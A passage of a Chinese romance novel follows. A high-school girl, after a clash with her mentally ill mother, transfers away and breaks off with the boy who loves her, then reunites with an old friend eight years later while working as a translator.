姜挽继续争取:“可现在正是复习的关键时期,你这么突然给我转学的话,会打乱我的学习计划,影响我成绩的!” 沈曼神色比她还要尖锐:“影响成绩?真正影响你学习的人你怎么不说?你要是真在乎的话,就应该听我的话,再不要和那个人混在一起了!” 姜挽没话了,她手里的牌都打完了,意识到沈曼是铁了心要让她转学后,她甚至有点自暴自弃,以前那些不敢说,不敢问的话,她打算一次性全发泄出来。 “你为什么要这么对我?为什么一定要这么疯狂地控制我?我都说了我们什么都没有,我的数学成绩也是因为他才提高的,而且,我已经按照你的要求和他不联系了,这次只是无意间碰上的,你为什么就是不相信呢?” 她从没和沈曼这么说过话,也没和她这么吵过,看着沈曼痛苦又带着惊讶的眼神,一瞬间,她竟然有些报复的快感:“我知道爸爸去世后你很辛苦,所以我一直也都很听你的话,努力学习,尽量讨你欢心,平时你对我的要求,能做到一百分,我绝对不会做到九十九。可即便是这样,你还是不满意!” 沈曼的表情已经有些不对劲了,瞳孔增大,心率过快,她用手抵住心口,可惜姜挽没有注意到:“或许有些时候,你是不是也应该反思一下,你对我的要求是不是有点太高了?即便是不和别人比,就和你自己比呢?你自己上学的时候不是也和爸爸谈恋爱吗,为什么到我这里就不可以了?” “啪”的一声,是沈曼扬手给了她一巴掌,姜挽终于停下来了。她侧着脸,嘴角因为沈曼的大手劲,微微有些出血。 “你以为姜承安是什么好东西,他出轨了!他出轨了!!”沈曼怒吼,愤怒之下是一片悲怆的底色,“他平时演得爱妻爱女的,其实背地里早就出轨了,而我却只能在他死后整理东西的时候才发现!就是因为这条路我选错了,我才会要求你,才会对你这么严格!” 姜挽简直不敢相信她听到的,害怕,震惊,想要和沈曼一问究竟,可偏偏这个时候,沈曼却突然开始手抖,甚至用力捂着自己的心口,然后顺着凳子跌落在地上。 姜挽吓傻了,连忙跑过去:“妈妈,你怎么了?” 她要扶沈曼起来,沈曼却摆手,指了指她的卧室:“我的房间,床头柜第二个抽屉,白色的药瓶,拿过来。” “好,我马上去。” 药拿过来,沈曼吃进去,好一会儿才缓过来。 恰巧谭镜从外面回来,看见姜挽屋里的一片狼藉,皱着眉抱怨道:“真是够乱的,什么时候走了,才能彻底清静。” 沈峰在旁边呵斥她:“你少说两句吧。” 他们的声音这么大,姜挽听到了,想必她旁边的沈曼也应该听到了。姜挽看着她起身,关于刚才的药,以及谭镜的话,什么都没说,只留下一句:“明天我去学校帮你办转学。” 可即便她不说,姜挽自己也能查到,她拿出手机,将刚才看到瓶身上的几个字输进去。 □□丙嗪片。 精神分裂症,躁狂症,行为紊乱等字眼,乱七八糟地跳进眼睛,钻进她的脑子里。姜挽坐在地上,抱住膝盖,直愣愣盯着头顶的照明灯,她妈妈这种情况到底是从什么时候开始的,又有多长时间了呢? 是从他爸爸去世?还是从他们来到北城?姜挽竟然一点也想不起来源头,不过脑海里断断续续来回闪现的,全是沈曼之前有些奇怪的画面。 她对她非常严格,管教很多,姜挽做任何事情都要得到她的同意,而且她不准她提任何有关江城的事。 她心情经常低落,且脾气变得很快,经常上一秒还好好的,下一秒却突然暴怒。 她还会摔东西,今天这已经不是第一次摔她的东西了,还有之前发现项链那次。 …… 原来,她的妈妈是生病了啊,可惜她却一直都没有看出来。 她不仅没看出来,还一次又一次地做了让她伤心的事,今天甚至还说了这么多伤人的话,姜挽收紧手臂,指甲陷进掌心,留下一道道青白的痕迹。 眼泪从眼眶落下来,“啪嗒”一声落在地上,同时落下的,还有她深深的自责和懊悔。 她又想起她的爸爸。 印象里,爸爸是一个脾气很好,对她和妈妈都很耐心的人。会带她游玩,送她去学校,还会给她买各种喜欢的东西,学校里的同学经常羡慕她。 可记忆就是这么奇怪,没有问题的时候,它可以一直安安稳稳地留在自己的脑海里。一旦有了怀疑,出现裂缝,根本不需要深想,只需要顺着这条裂缝去看,就能发现各种蛛丝马迹。 她爸爸其实每天晚上回家都很晚,尤其是她上高中之后,而且就算回来了,大部分时间也是在看手机。 她爸爸经常出差,记忆里,她妈妈好像也因为这个原因和他闹过,但最后也都是不了了之了。 还有,在他爸爸去世后,她妈妈和奶奶曾经爆发过一次比较激烈的争吵。当时的她不懂,还以为是因为爸爸突然去世,妈妈压力太大了,现在再看,一切似乎都有迹可循了。 原来,一切的一切,都是一场骗局,她都这么难以接受,就更别提沈曼了。 悲痛,懊悔,还有恐惧,深深攫住了她的心脏,姜挽一夜无眠,在地板上坐到了天亮。 已经第三天了,陈屿没在学校里看到姜挽的身影,问了尤伽也不知道,电话和微信又都联系不上,他很焦急,正准备拿手机再打一次,突然看见孟云程从外面回来,眼神直直地落在他身上,像是有话要说。 陈屿正为姜挽的事情烦心,没心思陪他绕弯子:“有什么事直接说。” 孟云程盯着他,似乎是在酝酿,那眼神看起来小心翼翼的,还带着几分同情:“我刚在下面听到一个消息,有点犹豫要不要告诉你。” 陈屿低头解锁手机,头都没抬:“那就不要说,我现在没心思知道。” “和姜挽有关。” 陈屿赫然抬起头,虽没开口,可那表情已经很明显了,要他说,要他一字一句地说。 孟云程看着他,像是怕他会太激动,说之前,特意安慰他:“我也是道听途说的,不一定就是真的,”见陈屿始终盯着他,他咽了口吐沫,继续道,“姜挽,可能要转学了。” 一瞬间,像是有惊雷在耳边炸响,陈屿的脑子短暂性地陷入一片嗡鸣。很快,也就几秒吧,他恢复过来,拿起手机,径直往教室外冲去。 孟云程跟着他出来,穿过走廊,跑下楼梯,陈屿的速度很快,他根本追不上。来到一楼,外面正在下雨,孟云程没继续追,他懊恼地冲着他的背影大喊:“马上就要上课了,你去哪?” 陈屿当然不会回答,他甚至都没有回头看他一眼,回答他的只有浓雾和雨色。 稍一思忖,孟云程便反应过来,他这个样子,八成是去找姜挽了。他开始后悔,后悔刚才把姜挽转学的消息告诉他了,但很快又释然,因为不告诉他,他可能会更后悔,这是他的劫,迟早都要面对。 陈屿出了教学楼,没往别处去,径直跑向校门口。雨很大,风也不小,一路扑在脸上和身上,而他却像没感觉似的,迅速拦了一辆的士:“林萃路,域清街,麻烦开快点,我付双倍的钱。” 司机也没犹豫,一脚油门,迅速汇入车流。 靠窗,能听到车窗外的雨声,还有他自己的心跳,“砰砰的”像是要从嗓子眼跳出来。陈屿拿手去按,这才注意到自己的手也有点抖。 他承认,他是慌了。 从江城回来之后他就没怎么联系过姜挽,并不是他不想,而是不敢,害怕会影响到她,会给她造成麻烦。 可正是因为不联系,一直压抑,感情才会一直堆积。本来他觉得没什么的,几个月而已,他可以等,等高考结束后她或许就会不一样了,到时候再说也来得及。 抱着这种希冀,怀着这种期许,他还能坚持。可没想到,这么多的煎熬和等待最后却换来了这样一个消息? 姜挽竟然要转学?! 她要离开八中,离开北城,离开他! 一想到以后可能再也见不到她,陈屿疼得心肺仿佛都窒息了,连呼吸这么简单的事情做起来都感觉阵阵隐痛。 “师傅,能不能再快点?” 司机看看窗外的大雨,原本是想直接拒绝的,可一抬眼,从后视镜里看见他的样子,也有点不忍心:“年轻人,我知道你急,但我还是要说一句,什么事情都没有自己的安全重要。” 话虽这么说,可司机还是在路况允许的情况下,将车速开到了最快。 右拐,终于到达目的地,陈屿快速扫码,继而推开车门,大步奔出去。在浓重的雨幕里,在泼墨的天色里,他一步不停,没一会儿便来到了姜挽住的小区楼下。 可真正到了地方,他却不敢贸然前进了,因为他记得姜挽之前和他说过,这里其实并不是她的家,她如今只是借住而已。 胸腔里有个声音在吼叫,催促他不顾一切地冲进去,去找她,去问清楚。可大脑里又有另外一个声音在阻止,告诫他不能这么做。他这样一个异性贸然出现在她家门口,不知道会掀起怎样的血雨腥风。 理智与情感的较量,亘古不变的话题。别人不知道,但在陈屿这,只有一条线,那就是不能让她为难。 不能直接上去,陈屿便想其他办法让她下来。几经周折,他终于通过公用电话联系上了姜挽,接通后他的话很少,就两句:“我在你家楼下。” “你下来见我一面,不然我不会走。” 姜挽正在收拾东西,和沈曼一起,是她们当初来北城时带来的,现在要一并带走。突然从电话里听到陈屿的声音,很是震惊。接电话前她看了,是个陌生的号码,如果提前知道是他,她是不会…… 不会什么? 她问自己,不会接吗,但内心似乎又不是这样想的。 电话挂断,她看一眼时间,下午两点,应该是上课时间,她不知道他是怎么从学校出来,又是怎么冒着大雨来到这里的。 姜挽不是一个善于隐藏的人,自挂断电话,她就开始变得心神不宁,时不时都要去窗户那里看一眼,可外面雨太大,光线也暗,她什么都看不清楚。 沈曼也发现她的异常了,从她接到刚才的那通电话起。刚才电话里的声音她听了个七七八八,大概也能猜到是怎么回事:“我下去帮你处理吧。” “不用!”姜挽赫然打断她,她知道沈曼的脾气,这样贸然下去的话,不会对陈屿多客气的。可他什么也没做错,即便是她要离开,也不该让他承担任何莫须有的伤害。 “妈妈,我想自己和他说。” 沈曼皱眉:“我要是不同意呢?” 姜挽坚持:“这是我离开北城前的最后一个请求,请你答应我,我保证以后都乖乖听你的话,”自从知道沈曼的病之后,姜挽都不大敢刺激她了,“我就下去和他告个别,你相信我,不会有其他任何事情发生的。” 这已经相当于是哀求了,毕竟是自己的女儿,沈曼也心疼,而且一想到她们马上就要离开北城,以后应该也不会再有任何联系了,她松了口:“那你去吧,记住我和你说的话。” 得到了允许,姜挽立马朝门口走,走到一半她又反身回来,去衣柜里翻找。 沈曼觉得奇怪:“你找什么?” 东西找到了,姜挽攥在手心,可她却说:“没什么。” 许是觉得累吧,沈曼也没再追问,顺手递给她一把伞,叮嘱:“记住你刚才说的话,不要节外生枝。” 关门,下楼,奔跑,出了小区门口,姜挽一眼便看见了陈屿,这才发现他站着的这个位置从楼上是看不见的,可出了小区门,却又异常明显。只是他没撑伞,从头到脚,全湿了,正滴滴答答地往下淌水。 姜挽连忙走过去,撑开伞,遮在他的头顶。 伞外一片雨色,伞下四目相对,他们就这么看着,两人都没开口。 突然,陈屿从她手中接过伞,将一大半都撑在了她那边,眼睛将她紧紧盯住。 他是想质问她的,过来的一路,他甚至连质问的话都想好了,可真正见到她,又舍不得,于是,轻轻的一句,他开口:“为什么要转学?” 似乎还伴着心碎的声音。 这么轻的一句,落在姜挽心上,却让她心痛难忍。她倒是希望他能质问她,能骂她,这样至少他能好过点。 “不为什么,我妈妈的工作安排。” 陈屿觉得她没说实话,可又拿她没办法,一心急,抬手要去拉她,被姜挽躲开了,也是她这一躲,让陈屿看清了她额角的伤口。 “你额头怎么回事?” 姜挽连忙用手挡住,应该是沈曼那天扔书的时候砸到了,这几天她在家也没照镜子,也没注意到这个:“没事。” 她在躲他,在抗拒,什么都不和他说,在和他划线。刚才那股“以后再也见不到她”的恐惧又来了,陈屿惊慌,固执地想要抓住点什么:“那你告诉我,你打算转学去哪里,我有时间了就去看你。” 其实是转回江城,但姜挽不说:“不用了,反正我们以后也不会再有联系了。” “什么叫不会再有联系了?”因为她这一句话,陈屿一直压抑的情绪瞬间爆发,这相当于是直接给他判了死刑,赤裸裸打碎了他的所有幻想。 “你说不联系就不联系了吗?你问过我的意见吗?凭什么一切都由你来决定?” 他喊得凶,可气势却弱,像是一个被抛弃的孩子,毫无章法:“当初你说影响学习,不和我联系,我同意了。后来你一声不吭就换座位,我也接受了。就算在江城,因为顾忌你的感受,我也不敢越雷池半步。我处处听你的,一点也不敢越矩,时刻控制自己的情感,就是怕惹你生气。” 陈屿的声音在抖,淋淋漓漓地带着心碎:“可你呢,你是怎么对我的?一次次的拒绝不说,这次竟然还要直接离开?”急火攻心下,他开始口无遮拦,“姜挽,没有你这样的!你到底把我当什么了?就算是耍人玩儿,也该有个度吧?” 他们离得近,陈屿每说一句话,姜挽都能清晰感觉到他情绪的起伏,挣扎,痛苦,心痛,还有不甘,她又何尝不是呢? 可这件事情已经超出了她能解决的范畴,此时天平的两端,一端是他,一端是她妈妈。离开了她,他还能好好生活,而且还会活得更好,可她妈妈如今已经生病了,她真的不敢去赌。 眼前是一双黑色的,犹如黑曜石一般的眼睛,很亮,很真,让姜挽不敢与之对视,她赫然闭上眼:“我从没答应过你什么,也没有许诺过你什么,所以,我转学,到底和你有什么关系?” “是,你没有,你从来都没有!”陈屿指着自己的脑袋,眼睫坠着雨滴,“是我自己的问题,是这里出了问题,每时每刻,每分每秒,这里面全都是你。” 陈屿几乎是近乎绝望地剖开了自己,希望她能看看他,怜悯怜悯他。 姜挽的心在颤抖,像是被一直大手攫住,几乎没办法呼吸。不能再待了,她告诉自己,要马上离开。再待下去,她也不敢保证自己会说出什么话,做出什么事情来。 “那是你自己的事情,和我无关。” 她强迫自己转身,打算离开,却被陈屿一把扯住胳膊,姜挽能感觉到他的身体在颤抖,同时颤抖的,还有他的声音。 “对不起,你别走,我刚才是气昏头了,才说了那些话。你不要生气,我给你道歉,这些都是我自愿的,我不怪你。” 明明不是他的错,他却一再退让,姜挽是真不忍心看他再这样下去了,她推开他的手:“陈屿,你走吧,以后都不要再联系我了。” 陈屿当然不会走,反而将她的手攥得更紧了:“这不是你的本意是不是,你是有苦衷的对不对?你告诉我,你把事情完完整整地都告诉我,我可以帮你解决。” 他是个坚定的人,姜挽一直都知道,从他黑色的眼睛和刚毅的脸颊也能看出。要是没有这些乱七八糟的事,要是她和他之间能再纯粹点,姜挽想,她一定会和他在一起。 可惜,没有如果。 “不是,我没有苦衷,”为了让他死心,为了斩断念想,她连假话都用上了,“其实我从来都不喜欢你,我喜欢的,一直都是裴思那种类型。” 一瞬间,陈屿像是没明白她这句话的意思,有点不知所措。雨点那么大,全部浇在他身上,他也没什么感觉。 “我要是哪里做的不好,哪里惹你生气了,你可以告诉我,但请你不要说这种话来骗我,也没必要。” 姜挽盯着他的眼睛:“我说的是实话。” 陈屿突然心慌,是那种心空了一块,没办法弥补的心慌:“我不信。”他说。 姜挽一点也不比他好受,雨滴落在长睫上,颤颤地往下坠,她突然庆幸有这场雨,掩盖了一些其他的东西:“随你,反正我该说的都已经说完了。” 陈屿看着那双眼睛,那双他最喜欢,笑起来像弯弯的新月,星子一样明亮的眼睛,他困惑,更哑然。他不明白,这样一双漂亮的眼睛,面对他时,为何会如此冷漠? 最后一次,他问:“告诉我你要转学去哪里。” 姜挽还是不回答,沉默地和他对峙。 在这沉默里,陈屿的最后一点希望也被粉碎了,等了这么久,忍了这么久,到头来却是这样的结果,他要疯了:“你他妈就这么怕我缠着你吗?就这么迫不及待地要和我一刀两断?” “是。”姜挽肯定他的猜测,不仅肯定,还要再度加码,手伸进口袋,拿出她刚才从楼上带下来的那个东西,是之前陈屿送她的手链。 “这个,还给你。” “你不要就扔了。” 陈屿看都不看,扬手打掉。 “啪嗒”一声,手链落在地上,掉进水坑,在周围一圈溅起小幅度的水花。 到这一步,真的没什么再说的了,姜挽很轻地眨了下眼睛,抬手抹掉自己脸上的雨水:“我回去了,你也走吧。” 衣角被拉住,她没回头。抬手,拉扯,断开,她不再停留,赫然离开。当然,一路也没回头。 如果她中途回头一次的话,就会发现,曾经那个飞扬恣意,意气风发的少年,此刻正站在雨里,满身狼狈,近乎绝望地看着她,希望她能回头看他一眼。 陈屿看着她的背影,一颗心仿佛都被揉碎了。 天色阴沉,狂风撕扯着枝桠,更大的一场雨,要来了。 姜挽转学的事情办得很快,没过几天,她便从八中,从北城彻底离开了。她的座位换了新人,排名也被其他人刷新,一切恢复如常,好似什么都没发生过一样。 尤伽和孟云程也觉得伤心,可他们不敢当着陈屿的面讨论这些。 “你平时和姜挽走得近,知道她为什么转学吗?” “不知道,这事从来没听她说过。” “连你她都不告诉,看来是真的不想再和我们有联系了。”孟云程叹气,“联系方式还有吗?要不你问问?” 尤伽黯然:“没了,她已经删了,我试过好多次都没联系上她,也不知道她到底遇上了什么事。” 孟云程接连不断地叹气:“我们倒还好,我只是怕陈屿难以接受。” 尤伽疑惑:“是吗,可我看他最近挺正常的啊,按时按点上学,连课堂上都比之前认真不少,作业也跟着做了。” “你不懂,”孟云程一副感触颇多的样子,“他这会儿表现得越正常,就说明他心里越难受。” 尤伽还是不太懂。 “算了,不提这些了,晚上想吃什么,我请你,我看你这些天也挺难受的。” “不吃了,没心思。” “那不行,怎么着饭也得吃。” “再说吧……” — — 起床,吃饭,上学,陈屿这段时间的生活规律得简直能用“三好学生”来形容了。可具体私下什么样,只有他自己清楚。 姜挽离开后的每一夜,他都辗转反侧,寤寐思服。睁眼是她,闭眼也是她。最后实在没办法,搞学习吧,他想,至少还能转移下注意力。 月考,竞赛,联考,只要是陈屿参加的考试,就没有不拿第一的,连他爸妈都有点被他这股努力的劲儿吓到,一再强调不用这么努力,差不多就行。 可陈屿却很坚持,而他坚持的,还不止这一件事。 长这么大,从没喜欢过什么小动物的他,却突发奇地要养猫,而且还是从外面领回来的一只野猫。 他爸妈担心野猫身上不干净,拐着弯儿劝他:“这猫长得一般,也不是什么稀有的品种,你要是真喜欢的话,我们给你买好的,这只就算了。” “不用,就这只就行,我会带它去做检查,打疫苗,把所有的手续都办好,”陈屿很坚持,“而且,它不是野猫,他有名字,叫‘小酒’。” 他爸妈一副不敢置信的表情,虽不理解,但尊重。 小酒在外面放养惯了,突然被关在家里,很不习惯,在陈屿的房间里上蹿下跳,还把他名贵的球鞋咬坏了几双。 “小酒,你干嘛呢?”某天,陈屿放学回家,见它又叼着自己的球鞋,忙从它嘴里夺回来,“真是和你妈一样,一点也不让人省心。” 他这么说,小酒像是听懂了,舔着他的手心,抬起脑袋“呜呜呜”地直往他脸上蹭。 这么久了,他对姜挽的感情从没和其他人提起过,今天无意中说出来,小酒又是这副撒娇的样子,他忍不住感慨:“她都不要你了,你还想着她,也不看看每天是谁照顾你的,真是和她一样,都是没良心的小骗子。” 他话虽这么说,可语气却温柔,光听语气,不会觉得是抱怨,反而更像是情人间温柔的呢喃。 小酒当然不会回答,陈屿抱起它,朝卧室走,依旧自言自语:“你说,她是不是在怪我?怪我当初去美国考试,却故意骗她出国。我当时其实也没别的意思,只是想看她在不在意我而已。”说到这,陈屿垂下眼睫,“所以说我现在这样也是活该,一语成谶,正中靶心,现在倒是她彻底地离开,再也不回来了。” 小酒听不懂,大概是觉得他神神叨叨的,没一会儿便在他怀里睡着了。 — — 大雨,漫天瓢泼的大雨。 陈屿就站在她对面,冷冷地看着她。 而后,他开始愤怒地指责她,说她是个骗子,说她玩弄他的感情,说如果早知道她是这样的人,他宁愿从没认识过她! 姜挽被他这些话刺得锥心,惶急地想要解释:“不,不是这样的,我是有苦衷的,我也是喜欢你的,只是……” “够了,”可陈屿却打断她,冷漠又带着恨意的眼神死死把她盯着,“你别说了,我不会再相信你,一辈子都不会原谅你!” “不— —!” 猛地,姜挽从黑暗里醒来,入目先是熟悉的墙壁,还有贴着卡通图案的衣柜,然后是一阵燥热,她意识到,她这是在江城,和沈曼一起在她们之前的房子里。 原来刚才只是一个梦啊。 可即便只是个梦,梦里陈屿的眼神,对她而言也足以万箭穿心。 “呦呦,你醒了?”沈曼在她旁边坐着,见她醒来,很担心,忙拍着她的胸口,“刚才梦到什么了,那么伤心。”她伸手去擦她脸上的眼泪,安慰道,“没事了,没事了。” 姜挽觉得累,声音也很虚:“没事,做了一个噩梦。” 沈曼没再追问,拿手碰了碰她的额头,松了一口气:“温度终于降下来了,你这场病闹了这么长时间,这次终于要好了。” 是吗,要好了吗?可姜挽却怎么感觉越来越难受,永远也不会好了呢。 第45章 外派 泛黄的纸张上有泪渍, 晕染了字体,姜挽拿手擦了擦。她合上笔记本,如同合上那段往事。 额头还有些热,仿佛那场高热, 时隔八年, 仍留有余温。 在家休了个周末, 周一的早晨, 姜挽被闹钟叫醒。洗漱, 早餐, 加收拾和化妆,她动作很快,全程不过用了半小时而已。坐地铁到公司, 路过楼下的咖啡店时, 照例买了一杯拿铁。 姜挽习惯提前半小时到, 所以每天基本都是第一个进公司的, 可今天推开门,却发现沈繁星已经到了, 而且还坐在她的办公室, 显然是在专门等她。 还不待她开口,沈繁星见她进门, 便立马从凳子上起身, 朝着她过来,脸上兴奋劲儿难掩:“哎呀, 你终于来了, 我都等你半天了。” 姜挽大概能猜到她为什么这么兴奋:“GSC的合同搞定了?” “搞定了,周末这两天我加班看的,”沈繁星看上了她手里的那杯咖啡, 姜挽很爽快地递给她,她接过喝一口,继续感叹道,“你别说,这大公司的合同就是严谨,甲乙双方的权利和义务都列得清清楚楚,一条霸王条款都没有。” 姜挽不太懂法律,可单听沈繁星这么说,也能预想到和GSC合作应该是很省事的。 其实周末这两天在家,她也已经想清楚了,如果说她们公司需要出一个人来负责这个项目的话,于情于理,她确实都是最合适的人选。 至于她担心的问题,就像沈繁星那天说的一样,陈屿那种级别的领导,估计也只有在双方初次见面的时候能看到他,其他时间,应该是不会出现的。 所以这会儿,姜挽也很干脆:“那等合同流程处理完,你把GSC项目的资料发给我。” “你同意接这个项目了?”沈繁星的声音不小,因为惊喜,眼睛瞪得更大了。 “还有别的办法吗?”姜挽看着她,做出无奈的表情,“再说了,你这一大早的就来办公室堵我,不就是为了和我说这件事吗?” 沈繁星有些不好意思,讪讪一笑:“被你猜到了。” “对啊,我还猜到了你想喝我的咖啡。” 姜挽说这话时没看她,低头从包里拿电脑,语气虽无奈,但仔细听,就能发现更多的是宠溺。沈繁星虽然年纪比她大,可性格和脾气却很直爽,有时候甚至有些不谙世事。所以,两人认识这么多年,很多时候,姜挽都会不自觉地让着她。 “还有事吗?没事赶紧走吧,我还得翻译文件呢。马上GSC的项目过来,估计没时间弄其他的了,手上这点事,我得感觉处理完。” “没,没了,就这一件事,”沈繁星喝一口咖啡,笑嘻嘻对着她,“对了,不过我得提醒你一下,合同里还有一个要求,这个项目的翻译人员得外派到他们公司,和他们整个项目组一起参加工作。” 这不是一个多特殊的条款,姜挽也不是第一次面对这样的情况。以往接的翻译任务里,有的公司为了保证翻译的速度和质量,偶尔也会提出这个要求,可以往都爽快答应的她,这次却有些犹豫了。 沈繁星看出来了,问道:“怎么了?这也不是多特殊的条款啊。” 姜挽皱着眉不说话。 “你不愿意去?” 姜挽沉默敲击电脑,还是没开口。 “那给你加工资?加项目奖金?” 这次,姜挽终于开口了,很无奈的:“不是钱的事。” 是她自己心里的问题,是她没准备好。 原本以为只是接下这个项目的翻译,那她只需要把翻译做好,保质保量地完成就可以了。可现在竟然需要外派去他们公司,去了GSC,就意味着很有可能和陈屿再次遇上…… 那天无意间碰上,他的态度和语气,姜挽也看到了,她甚至都不愿意回想。讨厌她是小事,要是因为她的原因,把这个项目丢了,那可真就是得不偿失了。 “那是什么?”沈繁星有点着急,但很神奇,她这个人每次又都能误打误撞地猜中姜挽的心思,“不会是因为上次那个陈总吧?你别告诉我,被他打击两句,你真就怕了?” 姜挽不是怕,是觉得对他有愧疚,也不敢看他那冷漠的眼神,所以不知该如何面对:“我是担心,要是因为我的原因,把这个项目弄丢了,不就太不划算了吗?” 屋内陡然安静,显然沈繁星之前也没意识到这个问题,片刻,她开口:“不至于吧,他人是傲了点,但一般能做到他这个位置的人,还不至于太小心眼,应该不会和你一个小翻译过不去吧。” 那如果她这个小翻译当初狠狠得罪过他呢,这话,姜挽当然只敢在心里说。 “再说了,你不去的话,我们公司真的挑不出来第二个人了,”沈繁星又是那些老话,“其他人能力不行,我也不信任。你知道的,GSC是什么等级的公司,能和他们合作,是多少翻译公司梦寐以求的事情。要是有幸能长期保持合作关系的话,那我们以后的业务就不用愁了。” 姜挽也知道:“可……” “真的没有其他的办法了,”沈繁星也很苦恼,这会儿咖啡喝到嘴里都有点没滋没味的,“而且,这个项目我一开始就说的是安排你负责,现在要是突然换人的话,我怕GSC说我们违约。” 她把合同里违约条款找出来给姜挽看,一看那罚金比例,姜挽立马就没话说了:“行吧,我试试吧。” 大不了她就躲着点陈屿,GSC那么大,她尽量不出现在他眼前就好了。 姜挽这头答应了,沈繁星那头便立马去联系了GSC的负责人。 电话里,对方问她外派的翻译人员什么时候能到GSC报道,想到刚才姜挽的犹豫,沈繁星顿了顿,才开口:“两周之后吧,我们的翻译人员目前手上还有其他工作在处理,需要做好交接工作。” 可对方貌似很急,当即便拒绝了:“不行,两周时间太长了,我们最多能接受一周。” 沈繁星没急着答应,对方再次加码:“一周的时间,合同签完,翻译人员到位,我们就把预付款打过去。” “一周?时间也太短了吧?”办公室内,落满阳光的东窗下,姜挽听沈繁星说完,也觉得有些太着急了,“我手上还有项目在做,而且目前还带着两个人,这么短的时间内,不一定能全部交接完。” 沈繁星也觉得时间短,所以即便刚才对方已经开出了付款的条件,她也并没有一口答应,而是说要先和姜挽商量一下。 “没事儿,主要看你自己的安排,而且我也不想你压力太大。反正现在合同还没签,预付款什么的,晚点也就晚点吧,主要以你的意见为主。” 姜挽没急着拒绝,刚才乍一听是有点紧急,可静下心来捋一捋,貌似也不是不可能。 “手上的翻译我可以尽快收尾,一周应该来得及,主要是El和Austin,你得重新找个人带他们。” 这俩人都是今年的应届生,外国语大学毕业,基础不错,态度也踏实,姜挽帮忙带了几个月,觉得可以培养培养。 “对了,还有平时那些翻译资料和网站密码之类的,我晚点整理在一块儿,发封邮件给你,这些之前都是我定期整理和更新的,以后估计都得你来了。” 都要外派了,她还想着帮沈繁星安排这些琐事,说不感动是假的,沈繁星眼眶红红的,要过来抱她:“我就知道,把你从港城挖回来,是我这辈子做过的最正确的决定。” 胳膊伸过来,被姜挽一个侧身躲开了,她故作嫌弃地开口:“别,你可别给我戴高帽子,要感谢就来点实际的。况且GSC这项目,看起来也不是那么简单。” 沈繁星和她保证:“实际的一定有,至于GSC这个项目,你只要正常水平发挥就行,一定没问题的。” 事情基本算是定下来了,接着沈繁星去处理合同的事情,姜挽则集中精力尽快把她手上的收尾工作做完。只不过,除了这些,在外派去GSC之前,她还想要见另外一个人。 周三的那天,姜挽没加班。六点半的北城,正是拥堵热闹的时候。 搭地铁,换乘,差不多一个小时的时间,姜挽到达餐厅,然后找了个位置坐下。没多久,门口的玻璃门被推开,踏进来一抹窈窕的明黄色身影。伴着一阵燥热的微风,带着一股室外的暑气,那抹身影朝四周看了看。 是尤伽。 还是那么的恣意洒脱,还是那么的青春明媚。 见到姜挽,她很激动,三步并作两步跑过来:“呦呦,真是你!你回来了?” 这个称呼,除她妈妈之外,姜挽已经很多年没从其他人口中听到了,一瞬间,心底涌起一股别样的情绪,酸涩中还带着点安宁:“嗯,我回来了。” 尤伽在她对面坐下,一把抓住她的胳膊,头顶一盏吊灯,两人四目相对,在这近乎飘渺恍惚的光影下,她很急切,貌似有说不完的话。 “你什么时候回北城的?以后就打算留在北城了吗?” “没多久,几个月前,暂时是这样打算的。” “你回北城之后怎么没有第一时间联系我?” 这是一个姜挽没办法回答的问题,为什么她回北城之后没有第一时间联系她,其实要不是这次偶然和陈屿碰上,她可能一直都不会联系他们,不是因为别的,就是愧疚。 友情和爱情一样,当初她都是“背信弃义”的那一方,所以不敢奢求被原谅。 尤伽见她不答,也没继续追问,干脆换了个话题:“那这些年你都在哪儿呢?我尝试过联系你,可怎么也联系不上。” “在港城,大学是在港城读的,当时换号了,所有的联系方式都丢了。” 当初姜挽在江城高考完,便毅然决然地报了港城的大学,之后的几年,四年的时间在港城读大学,另外四年在港城工作。要不是今年沈繁星一再联系让她回来,她可能一辈子都不会再回来了。 留在港城,一个人孤独终老,默默无闻,也挺好的。 尤伽感慨:“竟然是港城,怪不得这些年我怎么也联系不上你。当初你转学转得那么急,我都没来得及见你一面,更没来得及和你道别。” 只是这么说,当初那些酸涩焦灼的情绪似乎就已经再次上浮,尤伽别过脸,拿手背胡乱擦了下,“呦呦,其实我一直都想问你,当初到底发生了什么,你怎么会突然转学?” 这又是一个姜挽没办法回答的问题,当初的事情发生得太突然,几乎是一股脑全部压在了她身上。她妈妈的病,她爸爸的出轨,还有她每天都要经历的精神折磨,以她当年的那个年龄和心智,确实是没有其他的选择了。 可事情过去了终归就是过去了,她不想再翻出来惹得尤伽也心情不好,于是匆匆给了一个回答:“当时我妈妈工作变动,我不得不跟着离开。” 恰巧服务员过来询问是否需要点餐,姜挽趁机岔开话题:“先点菜吧,这些事情一时半会儿也说不清,我们边吃边说。” “好,那先吃饭,我早饿了。” 许是担心她在外地吃不到北城的味道,尤伽点了整整一桌,全部都是北城的特色菜。 饭桌上,姜挽大致和她讲了一些她这些年的经历,当初的离开被她“包装”成了沈曼的工作安排,港城那几年的艰苦生活在她口中也成了正常的求学经历。乍一听,确实是一段非常正常且普通的大学生活,和其他人没有任何区别。 尤伽本来就不是怪她,更不是非得逼着她说什么,只是想知道她这些年过得怎么样,现在听来,倒还好:“好在你这些年也没受什么苦。” 姜挽没反驳,给她舀了一碗汤递过去,而后轻声问:“那你呢?你这几年过得怎么样?” “我就还是那样,”尤伽大喇喇的,一提到自己的事情,反而还没刚才上心了,“高考分数一般,就在北城念了一所普通的大学,毕业后找了好几份工作都不合适,最后还是我爸妈托关系给我安排了一个清闲的岗位,才稳定下来。这不,连续干了两年,我又觉得累了,总觉得上班就这样,没什么意思,想辞职。” 她说这话的语气和神态,真的和姜挽记忆里的没有任何差别,姜挽忍不住笑了:“上班不就是这样,多多少少都会有些不如意,哪里有十全十美的。” 尤伽点点头,显然也认同:“那你呢,你现在做什么工作?” “翻译,我在北城的一家翻译公司上班。” “翻译好啊,脑力活,待遇好还不受气。”尤伽两眼放光,和当初第一次听闻姜挽考了年纪第二时的表情一模一样,“而且,你高中的时候英语就好,现在也算是发挥自己的强项了。” 和她讲话,姜挽不自觉间也会回到当初那种无忧无虑的状态:“刚才还说呢,每份工作都有它的优点和弊端,没有十全十美的工作。” “那你这个工作,弊端是什么?” “弊端嘛……”姜挽想了想,“我以后慢慢说给你听。” “好啊,那我们以后要经常出来吃饭,一定要常聚。” 两双眼睛,互相看着,一样的清澈透亮,一样的神采奕奕。有些东西,即便隔了好几年,即便中间从未联系过,可并不会随着时间消失弥散,反而会一直存在,历久弥新。 